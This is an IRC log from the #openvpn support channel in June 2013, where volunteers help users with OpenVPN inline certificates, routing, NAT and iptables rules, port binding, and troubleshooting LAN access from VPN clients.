19:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:23 -!- Kobaz [~kobaz@its.kobaz.net] has joined #openvpn
19:23 < Kobaz> what's the syntax for including ca/client certs inside the config file
19:24 < Kobaz> tryin to google it but havent found it so far
19:26 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
19:27 < pekster> --ca is what you use to define the PEM files holding your CA certs. Your server never references client certs (that's not how TLS works) but each individual node (client or server) defines its own cert with the --cert directive
19:27 < Kobaz> no no
19:27 < Kobaz> the client config
19:27 < Kobaz> you can do like #CA or something
19:27 < Kobaz> and paste in the ca
19:27 < Kobaz> i forgot the syntax
19:27 < pekster> !inline
19:27 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
19:27 < Kobaz> there you go
19:34 -!- Kobaz [~kobaz@its.kobaz.net] has left #openvpn []
19:44 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
20:00 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
20:04 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
20:08 -!- [fred] [fred@konfuzi.us] has joined #openvpn
20:15 -!- pinion [~pinion@unaffiliated/pinion] has joined #openvpn
20:27 < pinion> My current setup that has been working fine is I have openvpn server on my router at home and I connect via my laptop and phone without issue and can see the computers on my local network. I have an ubuntu server virtual machine on that network and can access it fine until I connect to a third party VPN and then I can't reach it from outside my local network
20:28 < pinion> Has anyone had any experience with that or can point me in the direction of a google search I can do?
20:28 < pekster> Avoid use of --redirect-gateway, or push a more specific route if you need one?
20:29 < pekster> Most "third party VPN" services (besides sucking royally and having fairly obvious mistakes or poor configurations) assume you want to route all your traffic through them and push --redirect-gateway out accordingly
20:30 < pinion> ahhh, ok. I know I have my vpn server that I am connecting to set up as "push "redirect-gateway def1"
20:30 < pekster> How are you pushing the route to your server-side LAN on your setup?
20:30 < pinion> but that's not the problem? The issue is the third party vpn is not letting my traffic gee through?
20:31 < pekster> A separate issue there is that the route to your pre-existing home tunnel will be re-routed through the new redirected gateway setup, at the very least causing a timeout taking as long as your --ping-restart (see !keepalive) option
20:32 < pinion> that line and also: push "dhcp-option DNS 192.168.2.1"
20:32 < pekster> That's possibly compounded depending on how you exposed your server-side LAN (if you *also* used --redirect-gateway instead of pushing your server LAN network to the client) you'll run into issues. You could also have issues if both VPNs try to use the same network space, like 10.8.0/24
20:33 < pinion> They don't, the third party is 10.118.0.0 and I'm on 10.0
20:33 < pekster> If it's just the redirection of your client to home tunneled traffic, a `--route $home_server 255.255.255.255 net_gateway` setup might fix things
20:33 < pekster> If there's more going on, then that's just one of your problems
20:34 < pekster> See the manpage description for --redirect gateway to understand why using net_gateway for /32 routes like that helps
20:34 < pinion> Awesome thanks!
20:35 < pinion> this part: --route $home_server
20:36 < pinion> is that when connecting to the third party?
20:36 < pekster> Right, since you want a *more* specific route to replace the /1 routes you get
20:36 < pekster> See the --route manpage description for details
20:44 -!- vstariradev [~vstarirad@78.90.120.246] has quit [Quit: Lost terminal]
21:06 < altker128> quick question
21:06 < altker128> For https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
21:06 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
21:08 < altker128> the bottom configuration "Using routing and OpenVPN not running on the default gateway" had two additional rules ; these + the two rules listed as masquerade is the what's needed, correct?
21:10 < pekster> Don't ever NAT unless you are 1) hacking around an otherwise unavoidable situation or 2) are overloading a single public IP presense from your RFC1918 LAN
21:10 < pekster> And if you're doing #1, think long and hard about why you didn't route properly
21:11 < altker128> pekster: So it sounds like only the last two rules are needed
21:11 < pekster> The masquerade rule shown on that page is for the NAT overload of private address space situation
21:11 < pekster> (ie: #2)
21:12 < altker128> pekster: By #2 do you mean  "Using routing and OpenVPN not running on the default gateway"
21:12 < altker128> ?
21:12 < pekster> I mean my second (and only "valid") reason to ever use NAT: when you're routing onto the public Internet from a private and unroutable network
21:12 < pekster> Why do you think you need NAT?
21:13 < altker128> I don't think that I do.
21:14 < pekster> Generally, unless you're doing a --redirect-gateway setup, you don't want to NAT
21:14 < pekster> (and even if you are doing that, NAT is not required when you're assigning public IPs to clients, as is common with IPv6, or if you have a block of public IPs you're handing out to clients)
21:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
21:45 -!- darkdrgn2k3 [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Ping timeout: 255 seconds]
21:51 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
21:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:22 -!- pinion [~pinion@unaffiliated/pinion] has quit [Quit: pinion]
23:13 < altker128> pekster: The bridgingrouting page lists     push "route 192.168.0.0 255.255.255.0" to the client ; I assume using the second case (routing and OpenVPN not running on default gateway) that is still needed as the major difference is in the iptables routing rules?
23:13 < altker128> pekster: Assuming I want the openvpn clients to see the LAN IPs
23:14 < altker128> pekster: Or will this rule do that for me?   push "redirect-gateway def1 bypass-dhcp"
23:30 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
23:32 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
23:32 -!- Devastator [~devas@186.214.15.156] has joined #openvpn
23:33 -!- Devastator [~devas@186.214.15.156] has quit [Changing host]
23:33 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:38 -!- Devastator- [~devas@186.214.15.156] has joined #openvpn
23:38 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
23:47 -!- Devastator- [~devas@186.214.15.156] has quit [Changing host]
23:47 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
23:47 -!- Devastator- is now known as Devastator
--- Day changed Sun Jun 23 2013
00:03 < pekster> !serverlan
00:03 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
00:35 -!- darkdrgn2k3 [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
00:35 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Read error: Connection reset by peer]
00:46 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has quit [Quit: I'm out!]
01:01 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
01:09 < altker128> All, weird issue here
01:10 < altker128> I have a client connecting via openvpn , I can ping client, I can even SSH into client from my LAN, yet client can't access web pages
01:10 < altker128> if I ping client via LAN, my routing rule on the router seems to work as LAN is 192.168.0.x and openvpn gives out 10.8.0.x
01:11 < altker128> client can't access LAN webpages (i.e. pages on 192.168.0.x).  I can SSH into the openvpn client via my LAN and I've tried telnet <webserver> http and it times out ... what gives?
01:22 < EugeneKay> I'm much too drunk to debug that.
01:22 < EugeneKay> As apposed to uch too undrunk
01:33 < altker128> any thoughts?
01:33 < altker128> I'm so close
01:34 < altker128> ping works...
01:34 < altker128> D
01:47 -!- shalom [~shalom@bzq-218-63-74.cablep.bezeqint.net] has joined #openvpn
01:48 < pekster> altker128: Just becuase your server can ping your client has no bearing on the client accessing an arbitrary server-side LAN webpage. Apples/oranges
01:48 < pekster> Could be bad routing, firewalls on the VPN server, the LAN system serving the webpage, or even the client's firewall
01:49 < pekster> Just because the person holding the flashlight can see the person in front of it does not inherently mean the person in front can see the weilder of the flashlight
01:52 < altker128> So the plot thickens
01:52 < altker128> The openvpn clients can access standalone servers' webpages fine
01:52 < altker128> My openvpn machine is running openvz (proxmox) and those services it cannot reach are all openvz containers (bridged)
01:52 < altker128> openvpn is running with-in an openvz container
01:53 < pekster> Pretty sure you've been given !serverlan at least twice now. It has everything you need. If you're still lost, play "follow the packet" with the usual bag of tools: traceroute & tcpdump
01:53 < pekster> !openvz
01:53 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
01:53 < altker128> Yes, I have that working
01:53 < altker128> If I didn't then the client couldn't access the standalone hosts on my LAN...which they can do.
01:53 < altker128> something else is amiss.
01:53 < altker128> the static route is correctly set on the router too.
01:54 < pekster> No idea what you mean then
01:54 < pekster> If the "client cannot access webpages" then you've made quite the mistake. Failure to describe what you're accessing isn't helping you
01:54 < pekster> GOogle? http://localhost? about:blank?
01:54 < altker128> client cannot access webpages served by openvz containers
01:54 < pekster> That also means nothing to me
01:55 < pekster> I deal with networking, not shitty "virtualization" solutions
01:55 < altker128> I suppose you feel that way about FreeBSD jails as well?
01:55 < pekster> It's not relevant to a networking task
01:55 < pekster> !101
01:55 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
01:55 < pekster> You're expected to know how your OS works before attempting to use openvpn
01:56 < pekster> And yes, if you sold a BSD Jail as a "Virtual Machine" I'd say it's just as poorly marketed
01:56 < pekster> It's not; it's a jail. OpenVZ is a glorified chroot, and it does even that poorly
02:02 < pekster> And with that, I'm out of time and require sleep. Maybe the next person will be better able to help if you explain what "website" you can't access, and where it is in your network infrastructure besides "on an OpenVZ host" (I'm pretty sure there are thousands of those around the globe.) https://www.youtube.com/watch?v=W8_Kfjo3VjU
02:02 <@vpnHelper> Title: The Website Is Down - Sales Guy vs. Web Dude - YouTube (at www.youtube.com)
02:05 <+hazardous> openvz is godawful to deal with
02:06 <+hazardous> openvz's "veth" interface implementation is a horror in itself
02:06 < altker128> hazardous: Can you give any more details?
02:07 <+hazardous> altker128 yes: use kvm or something sane
02:07 <+hazardous> openvz barely supports iptables as is
02:09 < altker128> hazardous: This is for personal use , and a few users
02:10 < altker128> hazardous: Each CT on the OpenVZ machine is ethernet-bridged to the main NIC , not using VENET or iptables anyplace else in the 'host' container
02:12 -!- scifferous [~sciffer@bzq-218-63-74.cablep.bezeqint.net] has joined #openvpn
02:44 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Read error: Connection reset by peer]
02:44 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
02:49 < altker128> hazardous: Well, I moved openvpn to a dedicated ubuntu machine and the behavior is the same:  OpenVPN clients can access servers on my local LAN, but those servers which running as openvz containers are pingable, but telnet <ip> http does not work and the openvpn client cannot bring up the respective web page for those services.
03:13 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has quit [Ping timeout: 248 seconds]
03:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:35 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:39 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has joined #openvpn
03:39 -!- ikrabbe [ingo@pdpc/supporter/professional/ikrabbe] has joined #openvpn
03:42 < ikrabbe> good morning, I have a good routed openvpn setup now, where the client identifies the server through tls-remote subject selection, that works with one server. When I try to open a second vpn tunnel to another host (on a different subnet) I get a problem with port 1194 udp already used. I don't want to change that port, due to restrictive firewalls. How can I start more than one openvpn client setup through binding on a differnet address?
03:43 < ikrabbe> different even
03:44 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Read error: Connection reset by peer]
03:45 < kisom> ikrabbe: That's the error you get on the client side?
03:45 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
03:46 < ikrabbe> http://paste.debian.net/hidden/f8b727bb/
03:47 < ikrabbe> kisom: yes I get address already used...
03:47 < ikrabbe> I will try again
03:47 < ikrabbe> ...
03:49 < ikrabbe> starting this client profile will open 0.0.0.0:1194 udp
03:51 < ikrabbe> this is the error I get when I start the second profile: TCP/UDP: Socket bind failed on local address [undef]: Address already in use
03:51 < ikrabbe> of course as this process wants to bind 0.0.0.0:1194 udp too
03:52 < kisom> well, try lport 1234 on one of the configs...
03:52 < kisom> Might just do it
03:54 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:54 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
03:54 < ikrabbe> hmm, that might help, yes, though I need to open 1234 through the restrictive firewall too
03:55 < ikrabbe> it would be best if I could define different ca,cert,key and tls-remote setups in multiple <connection> profiles
03:55 < ikrabbe> but that seems to be impossible too
03:55 < kisom> OK, I have no clue why it's like that to begin with. My system randomizes the local port.
03:59 < ikrabbe> I want to use this vpn setup on my laptop in a restrictive corporate firewall and I don't want to bother with the corporate sysadmin too much about open udp ports for the firewall
03:59 < ikrabbe> so if I use randomized udp ports I need to have an open firewall, which is the opposite of what I try to gain from openvpn.
04:01 < kisom> So use TCP/443 then
04:01 < kisom> Should be idiot proof
04:01 < ikrabbe> hmm, but that is still just one port
04:01 < kisom> So?
04:02 < kisom> Your browser opens random ports for every TCP request
04:02 < kisom> Same is true for OpenVPN
04:02 < kisom> Unless you excplicitly tell it to use a specific local port
04:02 < ikrabbe> yes, that might work, I need to try that
04:02 < kisom> Same should be true for UDP.
04:02 < ikrabbe> in the corporate environment
04:02 < ikrabbe> yes, you might be right
04:03 < ikrabbe> I will just try that tomorrow, thanks anyway
04:04 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
04:08 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:14 -!- mattock_afk is now known as mattock
04:15 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
04:19 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
04:29 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
04:30 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
04:31 -!- ikrabbe [ingo@pdpc/supporter/professional/ikrabbe] has quit [Quit: ZNC - http://znc.sourceforge.net]
04:32 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
04:45 -!- mattock is now known as mattock_afk
04:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:03 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
05:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
05:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:52 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
07:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
07:03 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 240 seconds]
07:10 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
07:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:44 -!- shalom [~shalom@bzq-218-63-74.cablep.bezeqint.net] has quit [Ping timeout: 240 seconds]
07:44 -!- scifferous [~sciffer@bzq-218-63-74.cablep.bezeqint.net] has quit [Ping timeout: 264 seconds]
07:47 -!- scifferous [~sciffer@38.107.78.62] has joined #openvpn
07:47 -!- shalom [~shalom@38.107.78.62] has joined #openvpn
07:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:47 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
07:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
07:53 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 240 seconds]
07:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:53 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
07:53 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
07:54 -!- scifferous [~sciffer@38.107.78.62] has quit [Ping timeout: 248 seconds]
07:55 -!- shalom [~shalom@38.107.78.62] has quit [Ping timeout: 256 seconds]
07:58 -!- shalom [~shalom@bzq-218-63-74.cablep.bezeqint.net] has joined #openvpn
07:58 -!- scifferous [~sciffer@bzq-218-63-74.cablep.bezeqint.net] has joined #openvpn
07:58 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
07:59 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 276 seconds]
07:59 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:00 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:03 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
08:05 -!- hg_5__ [~chatzilla@91.234.245.245] has joined #openvpn
08:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
08:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
08:07 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
08:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
08:28 -!- master_o1_master [~master_of@p4FF24965.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
08:30 -!- master_of_master [~master_of@p4FD7BF6A.dip0.t-ipconnect.de] has joined #openvpn
08:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:34 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:38 -!- myp [~andrew@mx2.admin.tomsk.ru] has quit [Ping timeout: 256 seconds]
08:39 -!- myp [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
08:58 -!- scifferous [~sciffer@bzq-218-63-74.cablep.bezeqint.net] has quit [Quit: Leaving]
08:58 -!- shalom [~shalom@bzq-218-63-74.cablep.bezeqint.net] has quit [Remote host closed the connection]
09:32 -!- HyperGlide [~HyperGlid@110.185.145.228] has joined #openvpn
09:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:45 -!- daniel_- [~daniel_-@unaffiliated/daniel--/x-1801510] has joined #openvpn
09:45 < daniel_-> !welcome
09:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:45 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:45 < daniel_-> !wiki
09:45 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
09:55 -!- hg_5__ [~chatzilla@91.234.245.245] has quit [Quit: ChatZilla 0.9.90-rdmsoft [XULRunner 18.0.2/20130201065344]]
09:55 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Quit: ChatZilla 0.9.90-rdmsoft [XULRunner 18.0.2/20130201065344]]
10:01 -!- HyperGlide [~HyperGlid@110.185.145.228] has quit [Remote host closed the connection]
10:06 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
10:09 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:09 < pekster> kisom: Other way around; unless you use --noboind, the --port directive defaults to 1194, which implies both --lport and --rport
10:13 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
10:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
10:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
10:54 < kisom> pekster: Cool, I didn't know that. Gotta add that to my configs.
10:55 < kisom> Seems like that only applies to UDP, which I do not use.
11:05 < pekster> Interesting; I can confirm that behaviour, although it's not obvious from any of the manpage options that it should be occurring
11:07 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
11:19 < pekster> Seems you need an explicit --lport to make it bind to a single port in --proto tcp-client, not just --port
11:33 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:33 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
11:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
11:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
12:02 -!- Splash [~Splash@196-215-208-5.dynamic.isadsl.co.za] has joined #openvpn
12:02 < Splash> hey there
12:03 -!- Splash is now known as InsaneSplash
12:05 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 248 seconds]
12:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Read error: Connection reset by peer]
12:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:17 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 255 seconds]
12:18 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
12:36 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
12:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
12:54 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:06 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
13:10 -!- speed_racer84 [~speed_rac@173.45.222.112] has joined #openvpn
13:14 -!- speed_racer84 [~speed_rac@173.45.222.112] has quit [Ping timeout: 240 seconds]
13:17 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has joined #openvpn
13:20 -!- speed_racer84 [~speed_rac@173.45.222.112] has joined #openvpn
13:24 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
13:24 -!- InsaneSplash [~Splash@196-215-208-5.dynamic.isadsl.co.za] has left #openvpn []
13:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:36 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:41 -!- marek [mmahut@nat/redhat/x-zqxxacencwojivph] has quit [Quit: See you on the other side.]
13:50 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
13:58 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
13:59 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
14:00 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has joined #openvpn
14:13 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
14:18 -!- Alina-malina [~Alina-mal@82.199.216.54] has joined #openvpn
14:18 -!- Alina-malina [~Alina-mal@82.199.216.54] has quit [Read error: Connection reset by peer]
14:19 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
14:27 -!- Cybert1nus is now known as Cybertinus
14:31 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 268 seconds]
14:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
14:52 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has joined #openvpn
15:36 -!- darkdrgn2k3 [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Ping timeout: 246 seconds]
15:36 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
15:38 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:52 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 268 seconds]
16:00 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds]
16:07 -!- speed_racer84 [~speed_rac@173.45.222.112] has quit [Quit: Leaving]
16:32 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
16:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
16:51 < altker128> I'm using the configuration outlined here [Using routing and OpenVPN not running on the default gateway] : https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
16:51 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
16:53 < altker128> All, need some help troubleshooting.  My openvpn client can connect to my openvpn server (like the config, is a dedicated machine).  OpenVPN client can ping machines on the LAN, but openvpn client can't access an OpenFiler dedicated machine on the LAN.  Any suggestions?  My iptables config is exactly as outlined in the second box.
16:53 < altker128> openvpn client can't access the web interface of the OpenFiler dedicated machine.
17:04 < Poster> can you ping the openfiler?
17:05 < altker128> Poster: Yes, the openvpn client and clients on the LAN can ping him
17:06 < altker128> I did add a rule in my router for 10.8.0.2/24 to go to the LAN IP of the OpenVPN machine
17:06 < altker128> err
17:06 < altker128> sorry
17:06 < altker128> 10.8.0.0/24
17:06 < Poster> ok can you paste the output of iptables -L -n on your OpenVPN server?
17:06 < altker128> yes, one sec
17:06 < altker128> aside:  I can ssh into my openvpn client from my LAN as well
17:07 < altker128> openvpn client is running sshd.
17:09 < altker128> http://pastebin.com/1e1bYsx9
17:10 < Poster> ok 192.168.0.0/24 is the LAN and 10.8.0.0/24 is the network for OpenVPN?
17:11 < altker128> Poster: Yes
17:12 < Poster> ok can you browse to other resources within 192.168.0.0/24 from your 10.8.0.0/24 client?
17:13 < altker128> Poster: Oddly, I have a FreeBSD server that also has a web interface and the openvpn client CAN access that.
17:13 < Poster> I'd suspect filtering on the openfiler
17:13 < altker128> Poster: It is consistent with Linux hosts
17:13 < altker128> Poster: I checked openfiler and there are no iptables rules
17:13 < altker128> Poster: I have two other servers (Wiki and Horde) each as dedicated Linux servers on the LAN and the client cannot access those either.
17:14 < altker128> Poster: But the client CAN ping them
17:14 < Poster> if you can ping it, routing is there, trouble accessing specific services is going to be some type of filtering or ACLs
17:14 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:14 < altker128> Poster: I would agree with you but there must be something more going on
17:15 < Poster> try running tcpdump on the LAN interface of your OpenVPN server
17:15 < altker128> Poster: I did a tcpdump on the wiki and on the openvpn client did 'telnet 192.168.0.10 80' and I could see the wiki server responding but it looks like the openvpn client never saw the traffic
17:16 < Poster> did you see the return traffic from openfiler hit the LAN interface of the OpenVPN server?
17:16 < altker128> Let me re-run, the network is a bit chatty.
17:16 < Poster> the other thing you can try is to perform SNAT or MASQUERADE on the LAN interface
17:17 < altker128> Yeah.  I was hoping to avoid doing that...but I might :/
17:17 < altker128> This is frustrating.
17:17 < Poster> which would hide all OpenVPN client traffic as the OpenVPN server LAN
17:17 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
17:17 < altker128> Hrm, could netcat be used to debug this effectively?
17:18 < Poster> telnet should do it, but yeah netcat can too
17:18 < altker128> Poster: Do you use routed or NAT for your OpenVPN setups?
17:18 < Poster> I have dozens, mostly routed
17:19 < altker128> Poster: Do you only need the two iptables rules listed at the bottom of that guide?
17:19 < altker128> And do you make any other changes do them?
17:19 <@krzee> im 100% sure he doesnt copy/paste them from guides
17:19 < Poster> try this: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -d 192.168.0.0/24 -j MASQUERADE
17:19 <@krzee> he decides what is the best ruleset for his setup, then he does that
17:20 < Poster> and retry accessing openfilter
17:20 < altker128> krzee: I understand and recognize that most setups are not cookie cutter.  My setup is nearly a mirror of what's in that guide.
17:20 < altker128> Poster: Do you suggest flushing the rules?
